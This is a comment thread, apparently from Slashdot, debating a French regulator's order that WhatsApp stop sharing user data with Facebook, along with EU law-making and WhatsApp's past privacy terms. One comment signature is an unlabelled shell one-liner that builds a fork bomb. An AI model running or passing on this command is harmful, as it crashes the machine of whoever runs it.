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WhatsApp Ordered To Stop Sharing User Data With Facebook (theverge.com)
France's privacy watchdog CNIL has ordered WhatsApp to stop sharing user data with its parent company Facebook. According to a public notice posted on the French website, WhatsApp has a month to comply with the order. The Verge reports: The query began after WhatsApp added to its terms of service last year that it shares data with Facebook to develop targeted advertising, security measures, and to gather business intelligence. Upon investigating these claims, the CNIL ruled that while WhatsApp's intention of improving security measures was valid, the app's business intelligence reason wasn't as acceptable. After all, WhatsApp never told its users it was collecting data for business intelligence and there's no way to opt out without uninstalling the app. That violates "the fundamental freedoms of users," said the CNIL.
Well, they can obey or be banned from doing business is France I suppose?
No ban: CNIL will issue a fine, with daily penalties until Whatsapps comply or cease business.
if you are so tech illiterate to not know what facebook or WhatsApp are then don't read the story, tech is not for you.
Not so fast there. 30 years in the tech industry. Designing leading edge silicon products. There is no future in light entertainment for me. WhatsApp is just another program that runs on a phone. It's entirely reasonable to not know what it is, while knowing you could find out if you needed too.
Us old techies use signal anyway.
I should use this sig to advertise my book ISBN-13 : 978-1501515132.
Still makes no sense since the whole point of companies merging is to combine assets, of which customer data is an asset to both the separate facebook and whatsapp companies, and the new combined company under facebook control.
You don't seem to be familiar with European data protection laws. It's your data, not theirs.
I should use this sig to advertise my book ISBN-13 : 978-1501515132.
Nope. Not at all. Technology is a big subject. Contrary to what seems to pass for tech knowledge these days, phone apps do not comprise the entirety of technology. The size of a user base doesn't really count as a technical matter. Here's a contrary example: The key agreement protocol used in a messaging apps are gloriously technical. I can prattle on about the authentication and key agreement protocols in messaging apps all day.
Accusing people of ignorance based on transient criteria, now that's a character flaw.
I should use this sig to advertise my book ISBN-13 : 978-1501515132.
Some countries believe customer data is actually owned by the customer. If you want to do something with it, the customer needs to agree.
They frown upon companies who buy other companies for their data and use it for other purposes without consent.
America doesn't care though, they believe companies have more rights than individuals.
WhatsApp has a userbase of 1.3 billion users now, no it is not reasonable to say you are tech literate and don't know what it is
Is it reasonable for you to not realize that nobody in the US uses whatsapp?
Should I call you an insensitive clod?
Businesses operate within the rules of society, their society has different rules than yours.
Just because you don't approve doesn't mean they can't do it.
and EU, which is arguably least corrupt organization in the world with any power at all to help privacy,
LOL. In the EU legislation is initiated by the European Commission, not the Parliament. European Commissioners are not elected and cannot be removed by a direct election. Now if you're a corrupt corporation that makes them absolutely ideal people to lobby - they can initiate legislation but don't need to worry about getting re-elected.
And once legislation goes through the European Parliament EU member states are legally required to transpose them into EU law, regardless of whether the politicians in the national parliament agree or not - rather than being forced to defend an unpopular law government can simply say 'yeah it sucks but we have to implement it'
https://en.wikipedia.org/wiki/...
When adopted, directives give member states a timetable for the implementation of the intended outcome. Occasionally, the laws of a member state may already comply with this outcome, and the state involved would be required only to keep its laws in place. More commonly, member states are required to make changes to their laws (commonly referred to as transposition) in order for the directive to be implemented correctly. This is done in approximately 99% of the cases.[4] If a member state fails to pass the required national legislation, or if the national legislation does not adequately comply with the requirements of the directive, the European Commission may initiate legal action against the member state in the European Court of Justice. This may also happen when a member state has transposed a directive in theory but has failed to abide by its provisions in practice.
I.e. the EU is what happens when corporations think "The US and UK have too many checks and balances on lobbying because even the most awful politician has to worry about a backlash if they vote for an unpopular law. It'd be so much easier if we could lobby unelected politicians at the supranational level, have the laws they make rubber stamped by a supranational parliament no one cares about and then pushed downstream, totally bypassing national parliaments with their pesky, accountable politicians".
So it's completely corrupt. It also doesn't have any power to help privacy because WhatsApp and Facebook could just shut down their EU offices and people would continue to use their apps. And if it were EU internet companies infringing privacy, all they need to do is lobby at European Commission level and they can stop any pesky regulation.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
millennial?, I wish. I was already in the industry by the time most millennials were born. obviously by your language most millennials are significantly older than you and definitely more mature though. Once you get out into the real world instead of being spoon fed by your mother perhaps you will pick up some basic knowledge.
Wow. Calling europe corrupt while discussing law that has been passed down that actually benefits citizens and means huge investments and work for all businesses in and acting in europe.
You seem to gloss over the fact that proposals are still requested, debated and ultimately accepted or declined by the european parliament, which is democratically chosen.
European commisionars can actually be removed by the european parliament.
If you're so afraid of lobbying power, why single out the european commission? Look at the executive branch in nearly any country.
Since it also says "Facebook", this isn't the "most used messenger". The most used one is something Chinese, WeeChat or something similar.
WhatsApp daily users: ~ 1 Billion.
WeChat daily users: ~ 700 Million
But they aren't really comparable. WhatsApp is a messenger app. WeChat is that, plus much more.
In China, if you see a beggar on the street and you don't have any spare change, you can do a WeChat transfer from your phone directly to the bum's phone. You can't do that with WhatsApp.
The first is that, when WhatsApp launched, it made a big deal about privacy. It was founded by someone who grew up in the USSR and knew precisely how important it was to have a secure way of communicating that wasn't subject to interception. They provided end-to-end encryption and a privacy policy that explicitly prohibited sharing data with other companies or using it for advertising. They had a pretty reasonable business model: the service was free for the first year and then $1/year after that (the hosting costs were nowhere near that - they were using Erlang on FreeBSD on the server side and last I heard [a couple of years before Facebook bought them] could handle around a hundred thousand users per machine). At the very least, this should prevent them from sharing any data from users that signed up on the old T&Cs with Facebook and should require that Facebook provide them with a grace period to migrate to another service before changing the T&Cs.
That might be shaky, but the second point is a lot stronger: the EU antitrust regulator made not sharing data with Facebook an explicit requirement when allowing the purchase to go ahead. Facebook agreed to this before they bought WhatsApp and are now saying 'oh, actually, that's really hard so we don't want to do it'.
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If it's free, you're the product
WhatsApp was free for the first year to build network effects and then $1/year (which was more than enough for cover operating costs). Users signed up to this and moved a lot of their communication to the platform. Facebook then moved to make it 'free' on the assumption that they could violate the terms that they agreed to with the EU antitrust regulator which prohibited using it for data mining. As I understand it, users are no longer offered the option of paying for the service.
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